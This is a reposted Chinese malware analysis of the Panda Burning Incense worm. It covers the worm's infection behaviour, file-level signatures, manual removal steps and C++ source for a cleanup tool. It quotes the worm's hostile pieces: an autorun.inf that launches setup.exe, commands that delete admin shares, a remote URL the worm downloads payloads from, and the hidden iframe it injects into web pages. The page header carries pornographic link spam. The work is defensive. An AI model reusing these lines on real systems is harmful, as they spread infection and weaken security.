日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

熊猫烧香分析报告

發布時間:2023/12/10 编程问答 36 豆豆
生活随笔 收集整理的這篇文章主要介紹了 熊猫烧香分析报告 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

熊貓燒香分析報告

      • 樣本信息
      • 測試環境及工具
      • 主要行為
      • 惡意程序對用戶造成的危害
      • 加固后的惡意代碼
      • 提取病毒的特征,利用殺毒軟件查殺
      • 手工查殺步驟或是工具查殺步驟或是查殺思路等
      • C++查殺工具部分源碼

樣本信息

病毒名稱:512301C535C88255C9A252FDF70B7A03
所屬家族:蠕蟲
MD5值:512301C535C88255C9A252FDF70B7A03
SHA1值:CA3A1070CFF311C0BA40AB60A8FE3266CFEFE870
CRC32:E334747C
病毒行為:
將自身拷貝到C:\Windows\System32\drivers\spo0lsv.exe,然后結束自身
運行拷貝后的程序,并將其設置注冊表啟動項。
運行過程中,遍歷C盤下所有文件夾,除了windows文件夾下的。
將所有exe,scr,pif,com,htm,html,asp,php,jsp,aspx修改為熊貓燒香病毒文件。
每個文件夾下面還會寫入一個Desktop_.ini文件,內容為當天日期。
遍歷系統所有進程,發現運行了指定的程序,會將其結束。
枚舉了所有窗口,發現有關鍵字符的標題,發送WM_QUIT消息將其退出進程
使用按鍵組合讓窗口不可正常顯示
連接了可疑的網站,讀取遠程的Text文件,通過URL下載指定的病毒文件并運行

測試環境及工具

測試環境為虛擬機win7專業版
所使用到的工具:火絨劍,Pchunter,od,ida,彗星小助手

主要行為

定時創建線程,將病毒程序寫入注冊表作為啟動項,檢測并關閉指定的服務項

設置開機啟動項。

關閉指定服務

盤符目錄下生成autorun.inf,setup.exe并隱藏。設置自動播放文件配置,打開盤符再次感染。
[AutoRun]
OPEN=setup.exe
shellexecute=setup.exe
shell\Auto\command=setup.exe

運行期間會檢測系統所有進程,發現指定的進程會將其關閉


創建線程枚舉桌面所有窗口,檢查指定特征庫內的窗口標題,如果發現窗口打開了,會發送消息將其關閉

部分特征庫文本

部分窗口無法關閉,使用按鍵消息,使其不能正常顯示窗口

創建時鐘訪問指定網頁: http://www.ac86.cn/66/up.txt
下載遠程的text文件內的病毒文件,然后運行

創建線程執行了以下cmd命令,實現關閉共享
cmd.exe /c net share $ /del /y
cmd.exe /c net share admin$ /del /y

發現后綴名為GHO的文件會將其刪除

發現指定的后綴名文件,會感染其文件

期間會判斷某些特定的文件名,跳過感染操作

感染行為,將可執行的源文件讀入內存,拷貝自身覆蓋原有文件,然后在病毒文件末尾追加原有文件,WhBoy.exe + 原有文件尺寸。

Html,asp網頁代碼類文件感染,會在其最后嵌入其他代碼。

src="http://www.ac86.cn/66/index.htm" width="0" height="0">

惡意程序對用戶造成的危害

對用戶C盤目錄下指定格式文件進行感染,修改原有的文件為病毒文件,
將源文件追加到病毒文件末尾,并增加隨機文本標識。
每個盤符生成autorun.inf,setup.exe并隱藏。
每次打開盤符就會執行病毒程序,再次感染。
刪除所有GHO備份文件
占用系統大量資源,不停遍歷文件,連接網絡,讀取下載遠程木馬文件并運行

加固后的惡意代碼

病毒文件進行了加殼,使用FSG2.0壓縮殼

提取病毒的特征,利用殺毒軟件查殺

可以通過查找utf8字符串:
WhBoy,xBoy,spo0lsv.exe等字符串進行查殺

通過二進制特征查殺:
75C26A0068C0CE4000E86F7DFFFF
jnz X0040CE1B ; 0040CE1B
push 0x0 ; /ShowState = SW_HIDE
push 0x40CEC0 ; |CmdLine = “cmd.exe /c net share admin$ /del /y”
call 00404BD4 ; \WinExec

手工查殺步驟或是工具查殺步驟或是查殺思路等

編寫工具,刪除所有盤符下的autorun.inf,setup.exe,終止進程spo0lsv.exe,
刪除C:\Windows\System32\drivers\spo0lsv.exe文件。
刪除啟動項
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\svcshare
還原注冊表項
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue值修改為1

遍歷所有可執行文件,讀取被感染的文件,文件尾部記錄源文件的尺寸,然后從1F000開始讀取源文件數據,寫出到文件,恢復原來的文件。

遍歷所以網頁代碼有關文件,讀取被感染文件,去除尾部嵌入的代碼,還原原本的代碼文件

C++查殺工具部分源碼

DWORD GetProcessPid(CStringA nProcessName) {PROCESSENTRY32 nPT;nPT.dwSize = sizeof(nPT);HANDLE nSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);BOOL nRet = Process32First(nSnapShot, &nPT);while (nRet){if (nProcessName == CStringA(nPT.szExeFile)){return nPT.th32ProcessID;}nRet = Process32Next(nSnapShot, &nPT);}return 0; } vector<CStringA> GetDriverList() {vector<CStringA>nDiverList;TCHAR nDrive[MAX_PATH];GetLogicalDriveStrings(100, (LPWSTR)nDrive);TCHAR* pName = nDrive;while (*pName != 0) {nDiverList.push_back(pName);pName += _tcslen(pName) + 1;}return nDiverList; }void KillVir(CStringA nFilePath, CStringA nFileName) {int nVirType = 0;CStringA nLastName;nLastName = PathFindExtensionA(nFileName);nLastName.MakeUpper();if (nLastName == ".EXE" || nLastName == ".SCR" || nLastName == ".PIF" || nLastName == ".COM")nVirType = 1;else if (nLastName == ".HTML" || nLastName == ".HTM" || nLastName == ".ASP" || nLastName == ".ASPX" || nLastName == ".JSP" || nLastName == ".PHP")nVirType = 2;else return;//exe,scr,pif,com,htm,html,asp,php,jsp,aspxFILE *pFile = nullptr;char *nBuff = nullptr;int nFileSize = 0;fopen_s(&pFile, nFilePath, "rb");fseek(pFile, 0, SEEK_END);nFileSize = ftell(pFile);rewind(pFile);nBuff = new char[nFileSize] {};fread(nBuff, nFileSize, 1, pFile);fclose(pFile);int i = 0;if (nVirType == 1){for (i = 0; i < 13; i++){if (*(nBuff + nFileSize - 13 + i) == (char)0x02)break;}if (i == 13){//printf("未感染文件!%s\n", nFilePath);delete[]nBuff;return;}if (*(nBuff + nFileSize - 1) != (char)0x01){ printf("未感染文件!%s\n", nFilePath);delete[]nBuff;return;}char nTemp[13]{};int nExeSize = 0;memcpy_s(nTemp, 13, nBuff + nFileSize - 13 + i + 1, 13 - i - 2);sscanf_s(nTemp, "%d", &nExeSize);if (nExeSize <= 0){delete[]nBuff;return;}printf("感染文件類型:%s,尺寸:%d\n", nLastName, nExeSize);char *NewFile = new char[nExeSize] {};memcpy_s(NewFile, nExeSize, nBuff + 0x1f000, nExeSize);if (!DeleteFileA(nFilePath)){printf("修復%s失敗!%s\n", nLastName, nFilePath);delete[]NewFile;delete[]nBuff;return;}fopen_s(&pFile, nFilePath, "wb");fwrite(NewFile, nExeSize, 1, pFile);fclose(pFile);delete[]NewFile;printf("修復%s成功!%s\n", nLastName, nFilePath);}else {CStringA nFileCode(nBuff);if (nFileCode.Find("www.ac86.cn/66/index.htm") != -1){int nHtmlSize = nFileSize - 76;char *NewFile = new char[nHtmlSize] {};memcpy_s(NewFile, nHtmlSize, nBuff , nHtmlSize);fopen_s(&pFile, nFilePath, "wb");fwrite(NewFile, nHtmlSize, 1, pFile);fclose(pFile);delete[]NewFile;printf("修復%s成功!%s\n", nLastName, nFilePath);}}delete[]nBuff;nBuff = nullptr; } void FindFile(CStringA nDir) {WIN32_FIND_DATAA nFileData = { 0 };HANDLE hFind = INVALID_HANDLE_VALUE;hFind = FindFirstFileA(nDir + L"\\*", &nFileData);if (hFind == INVALID_HANDLE_VALUE ) return;do {if (CStringA(nFileData.cFileName) == "." || CStringA(nFileData.cFileName) == ".."){FILE *pFile = nullptr;fopen_s(&pFile, nDir + "\\Desktop_.ini", "rb");if (pFile == nullptr){continue;}fclose(pFile);if (SetFileAttributesA(nDir + "\\Desktop_.ini", FILE_ATTRIBUTE_NORMAL)){DeleteFileA(nDir + "\\Desktop_.ini");printf("刪除文件成功:%s\n", nDir + "\\Desktop_.ini");}elseprintf("刪除文件失敗:%s\n", nDir + "\\Desktop_.ini");continue;}if (nFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) FindFile(nDir + "\\" + nFileData.cFileName);else{KillVir(nDir + "\\" + nFileData.cFileName, nFileData.cFileName);}} while (FindNextFileA(hFind, &nFileData));}int main() {TerminateProcess(OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetProcessPid("spo0lsv.exe")), 0);SetFileAttributesA("C:\\Windows\\System32\\drivers\\spo0lsv.exe", FILE_ATTRIBUTE_NORMAL);DeleteFileA("C:\\Windows\\System32\\drivers\\spo0lsv.exe");//HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\svcshareHKEY hKey = NULL;int nError = RegOpenKeyA(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run\\", &hKey);if (nError != ERROR_SUCCESS) MessageBoxA(NULL, "打開注冊表失敗1", "提示", MB_ICONWARNING);RegDeleteValueA(hKey, "svcshare");RegCloseKey(hKey);//HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\\CheckedValuenError = RegOpenKeyA(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced\\Folder\\Hidden\\SHOWALL\\", &hKey);if (nError != ERROR_SUCCESS) MessageBoxA(NULL, "打開注冊表失敗2", "提示", MB_ICONWARNING);DWORD nVal = 1;RegSetValueExA(hKey, "CheckedValue", 0, REG_DWORD, (CONST BYTE*)&nVal, sizeof(DWORD));RegCloseKey(hKey);vector<CStringA>nDiverList;nDiverList = GetDriverList();for (auto &val : nDiverList){SetFileAttributesA(val + "\\autorun.inf", FILE_ATTRIBUTE_NORMAL);DeleteFileA(val + "\\autorun.inf");SetFileAttributesA(val + "\\setup.exe", FILE_ATTRIBUTE_NORMAL);DeleteFileA(val + "\\setup.exe");FindFile(val);};printf("處理成功!\n");system("pause");return 0; }

總結

以上是生活随笔為你收集整理的熊猫烧香分析报告的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。